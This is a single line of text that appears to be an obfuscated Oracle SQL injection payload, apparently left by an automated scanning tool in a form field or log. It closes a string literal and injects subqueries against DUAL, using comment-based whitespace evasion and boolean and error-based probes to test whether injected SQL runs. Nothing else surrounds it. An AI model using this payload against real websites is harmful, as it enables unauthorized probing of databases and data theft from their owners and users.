1’||(SELECT ’21vMWCX6′ FROM DUAL WHERE 6176=6176AND/**/7188=(SELECT/**/UPPER(CHR(126)||’~’||(SELECT/**/(CASE/**/WHEN/**/(7188=7188)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||’~’||CHR(126))/**/FROM/**/DUAL/**/WHERE/**/DBMS_RANDOM.VALUE(10741,5321)=10003))||’ 1